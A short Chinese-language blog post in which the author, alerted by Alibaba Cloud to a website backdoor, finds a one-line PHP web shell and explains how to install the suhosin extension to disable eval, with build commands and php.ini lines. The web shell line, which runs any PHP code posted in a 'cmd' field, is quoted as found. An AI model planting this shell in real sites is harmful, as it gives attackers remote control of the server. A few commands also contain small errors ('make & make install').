这篇日志记录下php禁用eval的操作方法。
今天阿里云给我发了个邮件,说是发现网站后门。容易受到攻击,我登录一看还真有。
我靠,什么情况。还有这玩意呢。
把php文件下载到本地,看了一下,里边就一行代码
<?php @eval($_POST['cmd']);?>
Eval():百度了一下。
eval() 函数把字符串按照 PHP 代码来执行。(功能很强大啊。得禁止。)
php的eval函数并不是系统组件函数,因此在php.ini中使用disable_functions是无法禁止它的。eval并非函数,而是php底层提供的一种特性。
幸好有前辈提供了php扩展来禁用万恶的eval: suhosin
官网网址:
https://suhosin.org/stories/index.html
官方的安装教程写的比较清楚,但是,只能参考。注意画红框的位置。
还好,许多先行者是会把他们的经验分享出来的。
安装教程:
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl cd /usr/local/src wget https://download.suhosin.org/suhosin-0.9.38.tar.gz # 这一步我试了,但是没好用。没再折腾,用windows下载完之后,传到服务器上的。 # 解压那步也就省了。 tar zxvf suhosin-0.9.38.tar.gz cd suhosin-0.9.38 /usr/bin/phpize ./configure --with-php-config=/usr/bin/php-config make & make install
从上到下,一步一步的运行到这里。安装就成功了,如果你在安装的时候遇到问题,可以在下方留言,我们一起看看有什么办法可以解决。
安装成功之后,他会显示你的安装位置
接下来配置php.Ini。
将下边这部分代码写入php.ini即可。
extension=/usr/lib64/php/modules/suhosin.so suhosin.executor.disable_eval=On
重启apache
systemctl restart apache
输出phpinfo